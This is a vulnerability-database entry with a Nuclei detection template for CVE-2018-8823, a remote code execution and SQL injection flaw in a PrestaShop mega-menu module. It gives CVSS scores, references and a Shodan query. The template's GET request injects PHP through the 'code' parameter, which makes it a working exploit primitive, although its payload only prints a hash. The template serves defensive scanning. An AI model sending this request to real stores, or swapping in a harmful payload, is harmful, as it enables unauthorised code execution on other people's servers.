Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2018-8823
HistoryNov 21, 2023 - 11:36 p.m.

PrestaShop Responsive Mega Menu Module - Remote Code Execution

2023-11-2123:36:56
ProjectDiscovery
github.com
14
prestashop
remote code execution
sql injection

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.241 Low

EPSS

Percentile

96.6%

The 'Responsive Mega Menu' module for PrestaShop is prone to a remote code execution and SQL injection vulnerability. modules/bamegamenu/ajax_phpcode.php in the Responsive Mega Menu (Horizontal+Vertical+Dropdown) Pro module 1.0.32 for PrestaShop allows remote attackers to execute an SQL injection or remote code execution through function calls in the code parameter.
id: CVE-2018-8823

info:
  name: PrestaShop Responsive Mega Menu Module - Remote Code Execution
  author: MaStErChO
  severity: critical
  description: |
    The 'Responsive Mega Menu' module for PrestaShop is prone to a remote code execution and SQL injection vulnerability. modules/bamegamenu/ajax_phpcode.php in the Responsive Mega Menu (Horizontal+Vertical+Dropdown) Pro module 1.0.32 for PrestaShop allows remote attackers to execute an SQL injection or remote code execution through function calls in the code parameter.
  reference:
    - https://vulners.com/openvas/OPENVAS:1361412562310144185
    - https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/
    - https://github.com/advisories/GHSA-q937-6mg8-6rgc
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8823
    - https://github.com/zapalm/prestashop-security-vulnerability-checker
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-8823
    cwe-id: CWE-94
    epss-score: 0.24062
    epss-percentile: 0.96593
    cpe: cpe:2.3:a:responsive_mega_menu_pro_project:responsive_mega_menu_pro:1.0.32:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: responsive_mega_menu_pro_project
    product: responsive_mega_menu_pro
    framework: prestashop
    shodan-query: http.component:"prestashop"
  tags: cve,cve2018,prestashop,rce,sqli,responsive_mega_menu_pro_project
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/bamegamenu/ajax_phpcode.php?code=print(md5({{num}}))"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e5445cd43372a931c5e0e062098b5481a83f9adeed25b32eda56801674c695e8022100b4e61401bc3a78310c2212d4543b85b61765bf5fea5db8bd265843dfd5809052:922c64590222798bb761d5b6d8e72950

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.241 Low

EPSS

Percentile

96.6%

Related for NUCLEI:CVE-2018-8823